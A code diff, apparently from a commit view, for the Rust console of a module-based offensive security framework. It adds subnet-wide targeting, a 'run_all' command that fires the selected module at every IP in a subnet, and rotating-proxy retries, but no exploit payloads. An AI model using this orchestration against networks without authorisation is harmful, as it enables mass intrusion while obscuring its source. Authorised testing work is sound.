let target = if let Some(ref t) = ctx.current_target {
|
||||
Some(t.clone())
|
||||
} else if config::GLOBAL_CONFIG.has_target() {
|
||||
// Use single IP from global target (handles subnets intelligently)
|
||||
match config::GLOBAL_CONFIG.get_single_target_ip() {
|
||||
Ok(ip) => {
|
||||
println!("{}", format!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default()).cyan());
|
||||
Some(ip)
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Error getting global target: {}", e).red());
|
||||
None
|
||||
}
|
||||
}
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if let Some(ref t) = target {
|
||||
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
|
||||
let mut tried_proxies = HashSet::new();
|
||||
let mut success = false;
|
||||
@@ -313,6 +403,90 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
}
|
||||
} else {
|
||||
println!("{}", "No target set. Use 'set target <value>' first.".yellow());
|
||||
println!("{}", " Examples:".dimmed());
|
||||
println!("{}", " set target 192.168.1.1".dimmed());
|
||||
println!("{}", " set target 192.168.1.0/24".dimmed());
|
||||
}
|
||||
} else {
|
||||
println!("{}", "No module selected. Use 'use <module>' first.".yellow());
|
||||
}
|
||||
}
|
||||
"run_all" => {
|
||||
if let Some(ref module_path) = ctx.current_module {
|
||||
// Check if we have a subnet target
|
||||
if !config::GLOBAL_CONFIG.has_target() {
|
||||
println!("{}", "No global target set. Use 'set target <ip/subnet>' first.".yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
if !config::GLOBAL_CONFIG.is_subnet() {
|
||||
println!("{}", "Global target is not a subnet. Use 'run' for single targets.".yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
// Get all IPs from the subnet
|
||||
match config::GLOBAL_CONFIG.get_target_ips() {
|
||||
Ok(ips) => {
|
||||
let total = ips.len();
|
||||
println!("{}", format!("[*] Running module '{}' against all {} IPs in subnet", module_path, total).cyan().bold());
|
||||
println!("{}", format!("[*] Subnet: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default()).cyan());
|
||||
|
||||
let mut success_count = 0;
|
||||
let mut fail_count = 0;
|
||||
|
||||
for (idx, ip) in ips.iter().enumerate() {
|
||||
println!("\n{}", format!("[{}/{}] Running against: {}", idx + 1, total, ip).yellow());
|
||||
|
||||
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
|
||||
let mut tried_proxies = HashSet::new();
|
||||
let mut success = false;
|
||||
|
||||
while tried_proxies.len() < ctx.proxy_list.len() {
|
||||
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
|
||||
set_all_proxy_env(&chosen_proxy);
|
||||
|
||||
match commands::run_module(module_path, ip).await {
|
||||
Ok(_) => {
|
||||
success = true;
|
||||
success_count += 1;
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
if tried_proxies.is_empty() {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
}
|
||||
tried_proxies.insert(chosen_proxy);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !success {
|
||||
fail_count += 1;
|
||||
if ctx.proxy_list.len() == tried_proxies.len() {
|
||||
println!("{}", "[!] All proxies failed for this target".red());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
clear_proxy_env_vars();
|
||||
match commands::run_module(module_path, ip).await {
|
||||
Ok(_) => success_count += 1,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
fail_count += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("\n{}", "=== Run All Summary ===".cyan().bold());
|
||||
println!("{}", format!("Total IPs: {}", total).green());
|
||||
println!("{}", format!("Successful: {}", success_count).green());
|
||||
println!("{}", format!("Failed: {}", fail_count).red());
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Error getting target IPs: {}", e).red());
|
||||
println!("{}", "Note: Subnets larger than 65536 IPs are not supported for run_all. Use a smaller subnet.".yellow());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("{}", "No module selected. Use 'use <module>' first.".yellow());
|
||||
@@ -351,16 +525,27 @@ fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<Stri
|
||||
}
|
||||
}
|
||||
|
||||
// Thread-safe environment variable access
|
||||
static ENV_MUTEX: Mutex<()> = Mutex::new(());
|
||||
|
||||
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)
|
||||
/// Thread-safe wrapper around env::set_var
|
||||
fn set_all_proxy_env(proxy: &str) {
|
||||
env::set_var("ALL_PROXY", proxy);
|
||||
let _guard = ENV_MUTEX.lock().unwrap();
|
||||
unsafe {
|
||||
env::set_var("ALL_PROXY", proxy);
|
||||
}
|
||||
}
|
||||
|
||||
/// Clears environment variables for direct connection
|
||||
/// Thread-safe wrapper around env::remove_var
|
||||
fn clear_proxy_env_vars() {
|
||||
env::remove_var("ALL_PROXY");
|
||||
env::remove_var("HTTP_PROXY");
|
||||
env::remove_var("HTTPS_PROXY");
|
||||
let _guard = ENV_MUTEX.lock().unwrap();
|
||||
unsafe {
|
||||
env::remove_var("ALL_PROXY");
|
||||
env::remove_var("HTTP_PROXY");
|
||||
env::remove_var("HTTPS_PROXY");
|
||||
}
|
||||
}
|
||||
|
||||
fn split_command(input: &str) -> Option<(String, String)> {
|
||||
@@ -382,7 +567,10 @@ fn resolve_command(cmd: &str) -> String {
|
||||
"show_proxies" | "proxies" | "pshow" | "proxy_show" => "show_proxies",
|
||||
"use" | "u" => "use",
|
||||
"set" | "target" => "set",
|
||||
"run" | "go" | "exec" => "run",
|
||||
"show_target" | "showtarget" | "st" => "show_target",
|
||||
"clear_target" | "cleartarget" | "ct" => "clear_target",
|
||||
"run" | "go" | "exec" => "run",
|
||||
"run_all" | "runall" | "ra" => "run_all",
|
||||
"back" | "b" | "clear" | "reset" => "back",
|
||||
"exit" | "quit" | "q" => "exit",
|
||||
other => other,
|
||||
@@ -445,8 +633,11 @@ fn render_help() {
|
||||
("modules", "modules | ls | m", "List available modules"),
|
||||
("find", "find <kw> | f1 <kw>", "Search modules by keyword"),
|
||||
("use", "use <path> | u <path>", "Select a module to run"),
|
||||
("set target", "set target <value>", "Set current target host/IP"),
|
||||
("set target", "set target <value>", "Set global target (IP/subnet) for all modules"),
|
||||
("show_target", "show_target | target", "Show current local and global targets"),
|
||||
("clear_target", "clear_target", "Clear local and global targets"),
|
||||
("run", "run | go", "Execute selected module (with proxy rotation)"),
|
||||
("run_all", "run_all | runall | ra", "Run module against all IPs in subnet (max 65536)"),
|
||||
("back", "back | b | clear | reset", "Clear current module and target"),
|
||||
("proxy_load", "proxy_load [file] | pl", "Load proxy list from file"),
|
||||
("proxy_on", "proxy_on | pon", "Enable proxy usage"),
|
||||
|
||||
+2
-2
@@ -113,8 +113,8 @@ pub fn normalize_target(raw: &str) -> Result<String> {
|
||||
return Err(anyhow!("Invalid target format: contains spaces"));
|
||||
}
|
||||
|
||||
// Check for valid hostname/IPv4 characters
|
||||
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:]+$").unwrap();
|
||||
// Check for valid hostname/IPv4/CIDR characters (allow / for CIDR notation)
|
||||
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:/]+$").unwrap();
|
||||
if !host_re.is_match(&sanitized) {
|
||||
return Err(anyhow!("Invalid target format: contains invalid characters"));
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user